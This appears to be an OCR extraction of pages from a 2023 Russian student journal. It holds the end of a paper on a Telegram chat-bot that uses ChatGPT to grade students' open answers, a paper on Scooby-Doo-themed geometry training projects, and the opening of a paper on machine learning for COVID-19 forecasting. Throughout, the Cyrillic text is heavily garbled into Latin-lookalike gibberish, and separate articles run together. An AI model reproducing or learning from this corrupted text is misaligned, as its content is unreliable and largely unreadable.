o0pa3oBaHHs, a BapUaHTOB NPHUMEHEHUS MOXXHO pa3padoTarh Oe3MepHOEe MHOXKECTBO.
Hampumep, HelipoceTu MOTYT OBITH UCTIOJIB30BaHBI IS UACHTU(DHUKAIIMY U TMPEAOTBPAILCHUS
riaruata. OHU MOTYT aHAJTU3UPOBATh CTYACHUECKHE PaOOTHI U ONIPEAETATh, BKIFOUEH JIU B HUX
rJiaruar.

Taxum 00pa3omM, ITO MOMOXKET MPENOJABATENIM HE TOJBKO CIEIUTH 3a IUIaruaToM U
MPEeAOTBPATUTh €r0 MPUMEHEHHE JJIsl HAllUCAHMS T€3UCOB, CTATEl, KYPCOBBIX U JUIIIIOMHBIX
paboT, HO M AaKTUBHO NPUMEHATH HEWPOCETH IS KOHTPOJIS 3HAHWM CTYAEHTOB, BEIb
COBMajieHuE (IJIaruar) OTBeTa CTYAEHTAa Ha KOHTPOJIbHBIM BONPOC C MPaBUIIBHBIM OTBETOM,
O3HAYaeT MNpaBUJIbHBIA OTBET. CleA0BaTEIbHO, HEWPOCETH MOMXKHO UCIOJIb30BaATh A
MIPOBEPKHU 3HAHUM B BUJE TECTUPOBAHUA.

Jliia peuieHus 3a1a4ul yIpoIeHUs padoThl MpernoaBaTesiell Mo OleHKe KOHTPOJIbHBIX
paboT CTYIEHTOB B BHUJE TeCTa C OTKPBHITOW (hOpPMOH OTBETa, MpeAjaraeM HCIOIb30BATh
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MpOrpaMMHbIEe BO3MOXKHOCTH HeHpoceTH, B yacTHOCTH, GPT-3 u e€ Oonbliyio S3bIKOBYIO
momens (Large Language Model). Heilipoceth cMOXeT TpPOBEPUTH MPABUIBHOCTD
pPa3BepHYTOro OTBETA CTYACHTAa Ha OCHOBE 3HAHMMU IO 33/laHHOM Teme, a TaKKe yKa3aTh Ha
OIIMOKY B OTBETE W/WJIH JaTh CBOW BapHaHT OTBETA.

Ilea» mnpoekra — paspaborare uarT-60oT it Telegram ¢ wHcmoab30BaHHEM
BO3MOKHOCTE! COBPEMEHHBIX HEUPOHHBIX CETEH JUIS aHajau3a U IPOBEPKHU Pa3BEPHYTHIX
OTBETOB CTYCHTOB.

AKTYaJlbHOCTh MPOEKTA — C ITOMOIIBIO YaT-00Ta MOKHO aBTOMaTH3UPOBAaTh MHOTHE
MPOIECChl OIIEHKH 3HAaHUM CTYICHTOB, TAaKWE KaK 00pabOTKa JaHHBIX, IPOBEpKa 3aJaHUN Ha
IlaruaT ¥ aHallu3 OTBETOB CTYACHTOB. HelipoHHBbIE ceTH MOTYT ObITh MCHOJIb30BaHBI IS
aHanu3a U o0paboTKM OONBHIOr0 O0beMa JAaHHBIX, MOIYYEHHBIX OT CTYJCHTOB. Takum
o0Opa3omM, 4aT-00T MOXET OKa3aTh OOJBIIYI0 IMOMOIIbL B OpPraHU3allUd KOHTPOJS 3HAHUUN
CTY/ICHTOB, YTO MTO3BOJIUT YCKOPUTH MPOIIECC MPOBEPKH KOHTPOJIBHBIX paboT MpernoaaBaTeiem,
a TEM CaMblM ONTHMH3UPYET MIpolecc oOy4eHHUS M MOMOXKET MEepelTH K HupOBHU3AINH
obpazoBanus. OJHAKO HEOOXOAWMO OTMETHUThH, YTO JUIS TOTO, YTOOBI 4aT-O00T MOr IaTh
a/ICKBaTHYIO OIICHKY, HEOOXOJMMO MPaBUIBLHO €ro HACTPOUTH U MPOBEPUTH €ro paboTy Ha
peanbHBIX JaHHBIX. JIaHHBIN MPOEKT MOXET OKa3aTh OOJBIIYI0 MOMOIIb B OLIEHKE 3HAHHMA
CTYJCHTOB U IOMOYb MPENOIaBaTENI0 CclIeNaTh mpoliecc ObicTpee u Oosee 3 HEeKTUBHBIM.

OcHOBHbBIE 32/1a41 U 3TaNbl BbINOJHEHUSI POEKTA:

6. Pa3paboTka KOHIENMIMH U aJanTalusg C HCHOJIb30BAHHEM BO3MOXKHOCTEH
meccenpkepa Telegram (Puc.1).

7. Pa3paboTka moaxoAsiiero MHTYMTUBHOTO AuU3aifiHa U QyHKIHI.

8. Co3znmanue yat-60Ta, BHEJPEHHUE B HEro MoayJIs HelipoHHoit cetu ChatGPT.

9. OO0yuenue 60Ta Ha OCHOBE JJAHHBIX OTBETOB CTY/JCHTOB.

10. TecTupoBaHUE CHCTEMBI H JOPAOOTKA MOIYJICH.

11. Buenpenue cuctembl B y4eOHBIH mporecc kadeapsl CHCTEMHOro aHanu3a |
MH(POPMAIMOHHBIX TEXHOJIOTHH B MapHyIoibCcKOM rocynapctBeHHoOM yHuBepcutere (Puc.2,
Puc.3.).

B kadecTtBe miomaaku A8 pealu3alMd 4yaT-00Ta MOJA TaKyl 3aJadyy MOXHO
UCIIOJIb30BaTh POCTOM U KpaiiHe MOMyJsIpHBIN MecceHkep Telegram, moa KoTopsiii MOKHO
co3nath ymobHoro 6ora. B kadectBe «wmosra» Oymer ucnoib3oBatbest ChatGPT — sto
MCKYCCTBEHHBIN MHTEIUIEKT, pa3paboTanHblii koMnaHue OpenAl ucnonb3yronmii 601b11yIo
s136IKOBYIO Mojienb (Large Language Model) u ogiepsxuBaromimii Juagord Ha €CTECTBEHHBIX
A3bIKax. /{1 TpeHHPOBKM 3TOW MOJIENH UCIIOIB3YIOTCS METO/Ibl 00yUEHUs C IpenojaBareieM
u o0yueHus c mojakperuieHneMm. OHa sBiseTcs ynaydiieHHOW Bepcueit monenu GPT-3 u
MOCTPOEHA Ha OCHOBE JIPYTo# s3b1Kk0BO# Mojenu ot OpenAl - GPT-3.5 [3].

Ha Puc. 1 npeacrasnen nporotun untepgdeiica yat-60Ta, KOTOpBI OyneT MPOCTHIM U
UHTYUTHBHO TOHSTHBIM.

s yno6cTBa B 4aT-00T MOXKHO BCTPOUTH TakK e (QYHKIIMH pacUCaHUs MPEeAMETOB U
3aJJaHHBIX JIOMAIIHUX 33JaHU{, CHUCOK KOTOPBIX IMperojaBaTellb MOXKET OOHOBISATH B
pearbHOM BPEMEHH.

Ha Puc. 2 u Puc. 3 npumep nemMoHCTpanuu paboThl 4aT-00Ta: CTYAEHT HAuHWHAeT
MOJITOTOBJICHHBI TeCT MO MH(OpMaTHKe; OOT MPUCHUIAET BOMPOCH], HA KOTOPBIE CTYIEHTY
TpeOyeTcs AaTh pa3BepHYTHIN 0TBET. 11t TOro 4T0OBI 00T CMOT NMPaBHIILHO MHTEPIIPETUPOBATD
MOJTyYCHHBIH OTBET, M 3aCUMTATh €r0 MPAaBHIBHBIM, TIEPE] OTBETOM HEOOXOAMMO T00aBHTH
¢bpasy «BepHo 11, 4TO ...», a MOCJe 3TOro OTBEYATh Ha MOCTABJIEHHBIN BOMPOC.
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Mpueet! 1 yat-60T 3K3ameHaTop!
1 6yny nomoratb Tebe 1 TBOEMy npenogasatento
oLeHMBaTb PaboTbl Y4EHUKOB UCNONb3YA CBON

NPOABUHYTHIN UCKYCCTBEHHbIN MHTeNnekT GPT3.5
Mo)eM HaumHaTb paboTy, NPOCTO BbiGEPU XKeNaemyro
bYHKUMIO B MEHIO HUXE. 10 1258

Hauyatb TeCT-KOHTPOMb 3HAHWI

Bontn Kak ctyaeHT Bowntn kak npenogasatens

Hacrpoiika yat-60ta Yro 3apann? Pacnucanve

Pucynox. 1. [lpomomun unmepgeiica yvam-b6oma

Tect no UndopmaTtuke:

1. Yro Takoe 03Y?

2. NanTe onpegenenue 6paysepy.

3. HazoBuTE OCHOBHOM CBA3YOWMUIA KOMNOHEHT MK,

4. Kakve pefcTBus HY)XXHO NPou3BecTu 4Tobb! co3aaTs nanky 8 Windows?
5. ins 4ero ucnonb3yeTcs XeCTKUn AUCK?

OTBeTbTe NO NOPSAKY Ha 3aAaHHbIE BONPOCHI YaT-60Ty.
Mepep Bawum oteeToM BCTasnsnTte Gppasy "BepHo nu, 4T0.." 4T06bI 60T MOr NPOBEPUTL
npasunbHOCTL Balero oTeeTa. Yaauu! 1@ 171

BepHo nu, 4to O3Y 310 ONepaTuBHO 3anoMuHaouee

YCTPOWCTBO U CYXUT AN BPEMEHHOIO XPaHWUANLLE AaHHBIX
1715w

[a, O3Y sBnaeTcs BPEeMEHHbIM ONepaTUBHbLIM 3aNOMUHAKOLWUM
YCTPOWCTBOM, UCMONb3YEMbIM ANS XPAHEHWUS AaHHbIX U
Nporpamm, KOTopble BbINONHAKOTCA Ha KoMnbioTepe. OHO
NO3BONSET KOMNbIOTEPY BbICTPO AOCTABaTL AaHHbIE U
VHCTPYKUMM U3 NAMATH ANS BbINONHEHMS 3a4au.

© Coobusenme uar-ory @ &

Pucynox 2. I[Ipumep ucnonvzosanus wam-o6oma 015 KOHMPOJs 3HAHUU
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BepHo nu, 4T0 4TO6BLI CO3aaTh Nnanky B Windows Heobxoaumo
HaXaTb NPasBoN KHOMNKOW MbIlK Ha KOMNbIOTEPE M BbiGpaTh
"Cospatb” u "Manky” 1225

[a, ol npas! MNpouecc co3nanus nanku 8 Windows
AENCTBUTENbHO 3aKNKYAETCA B HAXaTUM NPABON KHOMNKK
MbilK B OOOM MECTe Ha 3KpaHe, 3aTem Bbibope «Co3aaTth» 1
«Manky». Takxe Bbl MOXeTe U3MEHUTb UMS Nanku nocne ee
co3paxus. He 3abyabTe, 4T0 Ana co3aanus nanku 8 Windows
HY>XHO MCNONb30BaTb NPABY KHOMKY MbiLWK, @ HE NEBYHO.

BepHO nu, 4TO XXECTKUM AUCK 3TO YCTPOMCTBO ANA BbIBOAA
3ByKa Ha KoMnbioTep? 1226 &

Her, 310 He Tak. XecTkuin auck (HDD) 310 BCTpOEHHOE
YCTPOMCTBO AN XPAHEHUA faHHbIX Ha KoMnbioTepe. OH
MCNONb3YETCH ANS XPAHEHUS NPOrPaMm, Urp, My3biku, BUAEO 1
APYrux AaHHbiX. BbIBOA 3ByKa Ha KOMNbIOTEPE 06ECNeYnBaeTcs
APYrvM YCTPOMCTBOM, HanpuMep, BHELWHUM
ayavounHTepdencom.

Monogaeu, Tbl XopoLwwo nocrapancs!
TeosioueHka: 4/ 5

© @

PucyHOK‘ 2. Umozosas OYyeHKa cmydeHma HA OCHO6€ NOJIYYEHHbIX Omeemoes

BriBoabI:

e CymecTtByeT HEOOXOAMMOCTh CO3/laHUsl 4Yar-00Ta JUid yHOpoIleHus padoThl
IpernojaBaTesis Mpu MPOBEPKEe KOHTPOIbHBIX PabOT CTYJEHTOB B YCIOBUSAX JAUCTAHIIMOHHOIO
o0OyueHusl.

e Takas cuctema OyJeT Moje3Ha KaK IPENoAaBaTeio, TaKk U CTYAEHTY 3a CYET
BCTPOCHHBIX TOJIE3HBIX (QYHKINH.

e ['uOkuii 4aT-00T C BO3MOXHOCTBIO J00aBIEHHsS HOBBIX (DYHKIMI CO BpeMeHeM,
Harnpumep, reHeparus n300pakeHui.

Opnako, cienyer OTMETUTh, YTO B3aHMMOJEIHCTBHE € 4YaT-00TOM IIOKa HE MOMKET
MOJTHOCTBIO 3aMEHUTH OOIIEHHE C pealibHbIM IpernojaBaTeeM, HO YK€ B HaCTOsIIee BpeMs,
MpeuMyIlecTBa KMOep-UHTEUIEKTa JoKa3aHbl U 3(PPEKTUBHO HCIONb3YIOTCS B 00pa30BaHuH,
YUUTHIBas [U(POBHU3ALMIO BCEX MPOIECCOB, TaK KAaK INIABHOE MPEHMMYILECTBO 4aT-00TOB B
CHUCTEME DJIEKTPOHHOIO 0Opa3oBaHHUsl CTPOUTCS Ha aBTOMATH3allMU MPOIECCOB U
HE00XO0AUMOCTh AUCTAHIIMOHHOM (pOpMBI 00yUEHHSI BHICIIUMH YU€OHBIMH 3aBEICHUSIMU.

O mepcrnekTuBax pa3BUTHS MCKYCCTBEHHOTO MHTEJUIEKTa U OCO3HAHUU BaXXHOCTHU €r0
BHeIpeHUsT B cdepy oOydeHus CBUAETENbCTBYET TOT (akt, uro eme B 2019 romy npu
noanepxke npesuaeHta Poccuiickoit denepannu Ha 6a3e MOCKOBCKOTO TOCYIapCTBEHHOTO
yHUBepcuTeTa 0bU1 co31aH «VIHCTUTYT UCKYCCTBEHHOT'O MHTEIIEKTay [4].

Taxum o6pa3zom, Oosblliee BHUMAaHUE CIIEAYET YAEIATh IPUMEHEHUIO HCKYCCTBEHHOTO
MHTEJUIEKTa B 00pa3oBaTeNbHOM IIpolecce, JalbHEHIIee HCCIeJOBAaHUE MOXET OBITh
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HaIIpaBJICHO Ha pa3pa60TKy yaT-00Ta C UCIOJIL30BAHUEM HE TOJILKO ITMChMEHHBIX OTBCTOB, HO
1 C IOMOIIBIO I'OJIOCOBBIX COO6H.[CHI/II7L
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VIK 372.851

OBPA3OBATEJIbHBIE TPEHUPOBOYHBIE ITPOEKTBI 11O TEOMETPUAH
KAK ®OPMA PA3ZBUTUA PYHKIIMOHAJIBHOU I'PAMOTHOCTHA
YYAIIMUXCS CTAPHIEN IIKOJIBI

I'yceea B.K.
Hayunwuit pyxosooumens: Crkaga E.HU., 0-p neoazoz. nayk, npogecop, 3as. kaghedpoii
oy BIIO «/IOHHY»

Annomayus. B nanHO# paboTe paccMaTpHBArOTCs 00pa30BaTeIbHBIC TPCHHPOBOYHBIC IPOSKTHI [0 TCOMETPHH C
LETBI0 Pa3BUTHA (HYHKIHOHATIBGHOM MPAMOTHOCTH YYAaIllMXCs B CTapIuel IKoje. BhIsSBICHBI OCHOBHBIC IENU H
MPEANOCHIIKH pa3BUTHs ()YHKIIMOHAIHHON IPaMOTHOCTH YYall[MXCs, a TaKXKe MPECTaBICHbI 00pa30BaTe/IbHBIC
TPECHUPOBOYHLIC MIPOCKTHI, KOTOPHIC MMOMOTYT yUalllUMCA B PCHICHUU PCAJIbHBIX 3aJda4 U np06neM, CO3a1aBacMbIX
BHE y4eOHOTo Ipolecca.

Kniouesvle cnosa: (yHKIMOHATbHAS IPaMOTHOCTb, OOpa30BaTeIbHBIC NPOEKTHI, CTEPEOMETPHs, MPAKTUKO-
OpHEHTHPOBAHHbIC 3a/IaUH.

Bcmynnenue. V3meHenuss B 0oOpa3oBaHMM TOCJIEIHUX JIET YCTAHABJIMBAIOT HOBBIC
WHHOBAIIMOHHBIE METObl PA3BUTHUsSI BCEro 00pa30BaTENBHOIO IMpolecca. AKTyalbHON
npoOyieMoit  cTaHoBHTCA (popmupoBaHUE (YHKIIMOHATHHOW TI'PAMOTHOCTH OOYYaIOIIUXCS
cpenHeil mKojbl. B cOBpeMeHHBIX HayYHBIX UCCIIEOBAHUSX PACCMATPHUBAIOTCS pa3InyHbIC €€
BH/IbI, HATIPUMED:

—  4YMUTaTeNabCKas rpaMOTHOCTS [1];

—  (unaHCcOBas rpaMOTHOCTH [2];

—  JIMHTBHCTHYECKas TPaMOTHOCTH [3];

—  Marematuhyeckas rpaMoTHOCTH [4] u ap.

JLH. Topober; ormeuaer, 4To (PyHKIIMOHAIbHASI TPAMOTHOCTh CTAHOBHUTCS OCHOBHBIM
TPEH/IOM COBPEMEHHOTo oOydeHus [5], Tak kak (opmupoBaHUe y 00y4YaIONIUXCS HABBIKOB
pelieHus: KU3ZHEHHBIX U MPO(ECCHOHATBHBIX MPOOJIEM SBIISETCS OJHON M3 KIIFOYEBBIX 3a/1a4
denepalbHOTO TOCYAApCTBEHHOIO 00pa30BaTEIbHOTO CTAaHAApTa CPEAHEro  OOIIero
oOpazoBanus [6].

TakuMm 06pa3zom, MKOJLHOE MaTeMaTH4Yeckoe 00pa3oBaHue JOHKHO OBITh HAIPaBJICHO
Ha pa3BUTHE (YHKIHOHATHHOW TPAMOTHOCTU YYAIIUXCS, WX TOJATOTOBKY K MPUMEHEHUIO
MaTeMaTHKU B PEIICHUU pEeallbHBIX 33/a4 U MpoOsieM, Co37aBacMbIX BHE 00pa3oBaTeNbHOTO
npotrecca.

CoBpeMEHHBIMU CpPEICTBAMH pealu3allid JaHHOM NpoOJIEeMbl B MaTeMaTHYECKOM
00pa3oBaHHWM SIBIISIOTCS TPAKTHKO-OPUEHTHPOBAHHBIC 3a/1ayd, KOTOPHIC HAMpPAaBIICHBI Ha
B3aMMOJICHCTBUE MPEAMETHON 00yiacTu (B HalleM clydyae MIKOJIBHOTO Kypca T€OMETPHH) C
CUTyallMsIMH B TIOBCETHEBHOW >XM3HHW. Takume 3amaun, ormeuaer E.M. Cxada, sBusroTcs
CpelCTBaMH MOTHBALIMM K M3YYEHUIO OMNPENEIECHHBIX TEM IIKOJBHOTO Kypca MaTeMaTHKH,
HalpaBJieHbl Ha pa3BUTHE OOpPA3HOTO MBINUIEHUSA, (OPMUPOBAHUS METAMPEIMETHBIX
pe3ynbTaToB OO0y4YeHHs IKONbHUKOB [7]. OOydeHune TakuM 3afadyaM MPOMCXOIUT KakK Ha
ypoKax, Tak U BO BHEKJIACCHOW paboTe, HampuMep, UCTIONIB3Ys MPOEKTHYIO JIEATeITbHOCTh BO
BHEKJIACCHOM paboTe 1Mo TeOMETpHH.

Lenvio cmamovu SBISETCS OMUCAHUE TPEHUPOBOYHBIX OOPA30BATEIHHBIX MPOEKTOB IO
TE€OMETPUH B CTapIIeH IIKOJE, HAPaBICHHBIE HA pa3BUTHE (YHKIIMOHATBHOW IPaMOTHOCTH
00yJaroImxcs.
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Ocnosnas yacms. B JIoHEIKOM HAallMOHAJIbHOM YHMBEPCUTETE HAMU Pa3pabaThIBAETCs
Tema «Pa3BuTHe (YHKIIMOHAIBHON I'PAMOTHOCTH HIKOJBHUKOB CPEACTBAMU CTEPEOMETPUI.
OCHOBHBIMU 331a4aM1 Pa3pabOTOK 10 JaHHOH TeMe SBIISIOTCS:

—  NOBBILIEHHE MOTHBAIMM yYalIUXCA K U3YUYEHUIO MAaTEMATUKU U IPUMEHEHUIO €€ B
IMOBCEAHEBHOM XKU3HU;

—  YCOBEpILIEHCTBOBAaHHUE BIAJACHUS IIKOJBHBIM IIPEIMETOM IIPU IOMOIUM PELICHUS
IPAaKTUKO-OPUEHTUPOBAHHBIX 3ajJau IOCPEACTBOM COBPEMEHHBIX CPEACTB MH()OPMALMOHHO-
KOMMYHHKaIIMOHHBIX TexHosiorui (MKT);

—  Ppa3BUTHE IPAKTUKO-OPUEHTHUPOBAHHON JEATENBHOCTH O0yJaroImuXcs PU IOMOIIU
pEILIEHUs NPAaKTUKO-OPUEHTUPOBAHHBIX 3a/a4, [UIsl UCIOJIb30BAHUS 3HAHUHM B IIPEICTOSILEN
npodecCHOHATBLHOMN 1eATETbHOCTH.

Maremaruka, a B YaCTHOCTH T€OMETpHUs, SBIISIETCA XOPOLIMM IOJICHOPbEM UL
COBMENICHUsT (PYyHAAMEHTAIBHBIX 3HAHUI YJaIIUXCS W MPAKTHKO-OPUEHTHPOBAHHBIX 3HAHUM.
K ToMy e 111 ydaimuxcst CTapiiel KOkl HEMaJIOBaKHBIM SIBIISIIOTCS TEOPETUYECKUE OCHOBBI
U TBOpYECKasl MPOEKTHAsl JESATENbHOCTb, KOTOpas MO3BOJUT 3aMHTEPECOBATH yYalllUXCS B
oOyuenuu. Tem Oonee NpUMEHEHHE COBPEMEHHBIX TEXHOJIOIMH MJaéT BO3MOXKHOCTb
00BEAMHUTH BCE KOMIIOHEHTHI IPOEKTHOM AESITEIbHOCTU: 00yUeHHE, TBOPUECKUN MTOTEHIIHAT,
VMHHOBAIIMOHHBIE TEXHOJIOTMH, KOTOPBIE IIO3BOJIIOT UATH «B HOTY CO BpeMeHeM» [ 8].

Takum 00pa3oM, BaXHOCTb TEOPETUYECKOTO M IMPAKTHYECKOTO PEHICHUS IMpodiieMm,
OpraHM3anusl  JeATEIbHOCTH  CTapIICKJIACCHUKOB,  HANPaBICHHOM  Ha  Pa3BUTHUE
(yHKIIMOHAJIBHOW IPaMOTHOCTH, BO BpeMsi 00y4YE€HUsI T€OMETPUH, €€ 3HAUUTEIbHOE MECTO B
cUCTeMe MaTeMaTUYecKON MOATrOTOBKU YJalIUXcsl 00YCIOBUIIN BBIOOP TaHHOM TEMBI.

[IpoexkTHass JeATENbHOCTh SBISAETCS OOBEAMHEHMEM TBOPUECKOIO U IPAKTUKO-
OpPUEHTHPOBAHHOTO DPA3BUTUA (DYHKIIMOHAIBHOW TIpaMOTHOCTH Yydwamuxcs. Ilpu oOydenun
yuyalxcs crapiiei KOkl CTOUT YYUTHIBaTh BO3PAaCTHBIE OCOOEHHOCTH MOApOCTKa. Takum
00pa3oM, BEKTOp IMpernoiaBaHusl TEOMETPUH B CTaplleil MIKoJie J0JKeH OBbITh HalpaBlieH Ha
O00BSICHEHHE TEOPETHUECKUX 3HAHUM, MPAaKTUYECKOr0 NPUMEHEHHUs JaHHBbIX 3HAHUN U Ha
pa3BUTHE (PYHKIIMOHAIBHOW IPaMOTHOCTH JIMYHOCTH, KOTOPasi CTOMT Iepe]] BBIOOpoM OyayIiein
npodeccun.

B pamkax Tembl «Pa3BuTHe (QYHKIMOHAIBHOW TI'PAaMOTHOCTH CTapLIEKIACCHUKOB
CPEJICTBAaMHU CTEPEOMETPHUM» HaMU MPEJIaratoTcsl CTpaTeruy MpernojaBaHusl CTEpeOMETPUN B
CTapLIel IIKOJE IpPH IOMOIUM pPEIICHUs IPAKTUKO-OPUEHTHPOBAHHBIX 3aJad, METOJbI
yIpaBiIeHUS MPOEKTHOM JESATENIbHOCTHIO MPU U3YUYEHUU CTEPEOMETPHH.

OnuH U3 NpeNIoKEHHBIX HAMHU IIPOEKTOB — ATO MPOEKT, KOTOPBI BXOAUT B IPOrpaMMy
BHEYPOUYHOU AeATENbHOCTH M3ydeHus reoMerpun B IX-XI knaccax u peainsyercs B KaueCTBeE
00pa30BaTeNbHBIX TPEHUPOBOUHBIX MPOEKTOB. DIEKTPOHHBIM BUJ] CUCTEMbI 00pa30BaTEIbHbBIX
TPEHUPOBOYHBIX MpoeKkToB uig 9, 10, 11 kitaccoB (MOCTpOEHHBIX B Mporpamme iSpringSuite,
SBJISIONICHCS JIOMONHEeHHeM K mporpamme Microsoft Power Point), Moxer akTUBHO
UCIIONIb30BAaThCS JJIi TOBTOPEHMSI LIKOJIBHUKAMM MPOWIEHHOIO MaTepuaia W peleHUs
PaKTUKO-OPUEHTHPOBAHHBIX 33jlad B UTPOBOH (hopMme. J[aHHBIC POEKTHI HANPABJIECHbI HA TO,
YTOOBI yyaliyuecs MOTJIM MOBTOPSATh M3YUYEHHBIN MaTepHal 1o reOMETPHUH Ul CBOETO Kilacca
o0y4yeHHs, pelaTh MPUKIAJHbBIE 33/1a4M, a Takke padoTaTh ¢ 3a/Ja4aMu MPH MOATOTOBKE K
eIMHOMY ToCcyJIapcTBeHHOMY dKk3ameny (EI'D).

OCHOBHBIMHU 3JIEMEHTAMHU COJIEPKAHUS KaXIOr0 M3 TPEHAKEPOB SBISETCSA MOJIOOpKa
TUTIOBBIX, MPAKTHYECKUX 3a/1a4 U 3a]1a4 I MOATOTOBKH K EI'D, KOTOphIe BKIIFOYAIOT B CEOsI:

—  aKTyaJu3aluIi0 TEOPEeTHMYECKOro Marepuana (HampaBjieHa Ha  CBOOOJHOE
OpPUEHTHPOBAHHE yUalllerocs 1o BCeM TeMaM Kypca FreéOMeTpUH 3a y4eOHbIN To/);

— TUIOBBIE 33Jaud (IIOMOTYT YCBOUTb M OTpabOTaTh HaBBIK PEIIEHUS 3ajad Io
KOHKPETHBIM TEMaM);
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—  MPUKIAIHBIC 337291 (TOMOTYT HAUTH MPAKTUIECKOE IPUMEHEHUE TaHHOU TeMe);

— 3amaud s noarotoBku K EI'D (HampaBieHHble Ha pelIeHHE 3a1ad W3 OaHKa
3aIaHA| 7151 TOATOTOBKY caaun EI'D);

- KOHTpOJIBHBI@ 3aaHuA (SIBJISIIOH_[I/IGCSI CpCI[CTBOM HpOBCpKI/I YCBO€HI/I$I MaTCpI/IaJIa 110
pELIeHUIO 3a/1a4 JaHHOTO KJjlacca).

Kaxnpiii  0Opa3zoBaTeNbHBI NPOEKT pa3pabOoTaH B CTUJIUCTHKE IMOMYJISIPHOTO H
mobumoro Mmynbercepruana «Scooby-Dooy, B KOTOpOM MyJIbTHUMEIUIHAS UTPa OCHOBBIBACTCS
Ha BBIYMaHHOW UCTOPHH M MPOXOXKICHUH JJAOUPUHTA C Pa3IMIHBIMU 33aJIaHusIMH (puc. 1).

ANAAKTUYECKAA SJTIEKTPOHHAS UHTEPAKTUBHASA UTPA NO FEEOMETPUN ANA YYALLUXCA 10 KNTACCA

SUoB-ov

Pucynox 1 — 3acmaska obpasoeamenvrozo mpeHuposounoz2o npoekma oia 10 kiacca

Ha npumepe o6pazoBaTenbHbIX TPEHHPOBOUHBIX MPOEKTOB A 10 Kitacca 3aMeTUM, 4TO
KKl pa3paOOTaHHBII HAMU IPOEKT COJIEPKUT: IIPaBHIIa UTPBI, BEIOOD MepcoHaxka (puc.2).

BbIBEOP MEPCOHAXA

" [Ans Toro, 4to6bl HaYaTL
urpy, Bbi6epu nepcoHaxal
lMpocTo HaXMun Ha
noHpasuBLieroca Tebe
repos!

Pucynok 2 — Bolibop nepconadsica 6 06pazosamenbHoM mMpeHUpO8OUHOM NPOeKme

[Tpu BBIOOpE Tepost OyAeT BEIOpaH OJUH W3 TSATH OAHKOB 3aJjaHUM, KK U3 KOTOPBIX
BKJIIOUAET pa3NIMYHbIC 337]a4i COTIIACHO OCHOBHBIM AJIEMEHTaM COJIep:KaHus mpoekTa (puc.3).

214



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

B copepxanue TpeHaxkepa BXOISAT KPOME T€OMETpUUYECKUX (PaKTOB, MOHITHM, TEOpEM,
MMPEACTAaBJIICHHBIX IJI aKTyaJInu3alun 3HAHUMN 06yqa10mnxcsl, TaKXKEC 62130BBI€ TCOMECTPHUUICCKUX
3a/1a4M, KOTOpBIE SBJISIOTCS (PYHIAMEHTOM JJIsl TMIOMCKA pelIeHUs 0oJjiee CIOKHBIX 3aJaHUi
NPUKIATHOTO W MPAKTHYECKOro Xxapakrepa. To ecTh, MNpoXoas TO JIAOUPHHTY
MYJIbTUMEAUMHON UTPbI, 00YYaIOIIUNCSA UMEET BO3MOKHOCTD MEpe]] pEIICHUEM MPaKTUYECKOM

3aJ1a4i TIOBTOPUTH MaTepuall, KOTOPBIA HEOOXOIUM.
COAEPXXAHUE

0
2 AKTyanusauui sHaHuin '

3 Tunosble 3a4a4n .
n MpuKknagHble 3apa4um

u Moarotoska K EM
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Pucynok 3 — Ocnosnbie snemenmol cooeparcanus 8 00pazo8amenbHOM MPEeHUPOBOUHOM
npoexme 011 10 kracca

Pa3zpaborannas cucrema 0O0pa3oBaTeNbHBIX TPEHHUPOBOYHBIX MPOEKTOB MpeJHa3HAUCHA
JUIE  pabOThl C HUMH CTapIICKIACCHUKOB B HWHAMBHIyaJIbHOM TOpsiAKe. BHumanme
00yYaromuxcsl aKIEHTUPYETCsT Ha NMPAKTHUYECKOM NMPUMEHEHHUH IOJIy4YeHHbIX 3HaHUH B X0je
KaXK70ro Kypca reometrpuu 9-ro, 10-ro u 11-ro kiaccos, a Takxke HalpaBiI€HO HA MOATOTOBKY
yuamuxcs Kk EI'D.

Bv1600b1. MeToandaeckasi IEHHOCTh MPOEKTa 3aKIIFOYAeTCsl B TOM, YTO pa3paboTaHHBIE
o0Opa3oBaTeNlbHble TPEHUPOBOYHbBIE MPOEKThl MOXKHO MPUMEHATh Ha YpOKaxX I€OMETpHH B
KadecTBE OTPAaOOTKM HABBIKOB pEIIEHUS MPAKTUKO-OPHEHTUPOBAHHBIX 3amad. OHu
HalpaBlIeHbl Ha pa3BUTHE (YHKIHMOHAJIBHOM TI'PaMOTHOCTH YyYalllUXCs, MUX MOTHBAIMIO K
O0Oy4YeHHI0O MaTeMaTHKe, Ha TOTOBHOCTh NMPUMEHSTH IOJyUYEHHBIC 3HAHHS B ITOBCEIHEBHOU
KHU3HH, HA pa3BUTHE 00PAa3HOTO U JJOTMYECKOTO MBIIIICHHUS U TBOPUECKUX CIIOCOOHOCTEH.

CunTaeM MOJIE3HBIM peaTH3alfio JAHHBIX 00pa30BaTeIbHBIX TPEHUPOBOYHBIX ITPOEKTOB
KaKk Ha ypoOKax I€OMEeTpuH, TaK U BO BHEYPOUYHOH JeATeNbHOCTH 1Mo maremaruke B [X-XI
Kyaccax. Panee mpoekT ObLT onrcaH B MaTtepuaiax KoHpepeHuu [9].
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HCIIOJIb3OBAHUE METOJ0OB MAIIMHHOI'O ObYYEHMSI ITPHA
NCCIEAOBAHUU PACITPOCTPAHEHHUA KOPOHABUPYCHOU NHOEKIIUHN

Kapabymoea A.T.
Hayunwuii pykosooumens: Kmoixoea T.B., kan.cpuz-mam. nayx, oouenm
Ioy BIIO «/[OHHY»

Annomayus. B maHHOHM cTaThe pacCMaTPHBAETCS UCIIOIB30BAaHUE METOJOB MAIIMHHOTO 00yUYEeHNUS TP N3yICHUH
pacmpoctpanerus koponasupycHoit madpekun (COVID-19) B Poccrn. MeToasl MAIIMHHOTO 00yYEHHs, TaKue
KaK MOJEIH BPEMEHHBIX DSANOB, MCKYyCCTBEHHBIC HEHPOHHBIC CETH M MAIIMHBI OINOPHBIX BEKTOPOB, IIMPOKO
UCTIONB3YIOTCS JUI NPOTHO3MPOBAHUS OYMyLIETo pacHpOCTpaHEHHUs BUpyca M aHAIN3a €ro BO3JACHCTBHS Ha
HacesieHHe. B crathe mpencTaBiaeH 0030p CHIIBHBIX CTOPOH M OTPAHMYCHMH 3THX METOJOB, a TAKXKE CIEIIAHO
000011IeHHe pe3ynbTaToB UX nmpuMeHeHus B ucciaemoBannu COVID-19 B Poccun. PesysbraThl 3TOr0 aHanmsa
JEMOHCTPUPYIOT IIOTEHIMAJ METOJIOB MAIUIMHHOTO OO0ydYeHMs JJsl JIy4lIero TOHMMaHHS CKOPOCTH
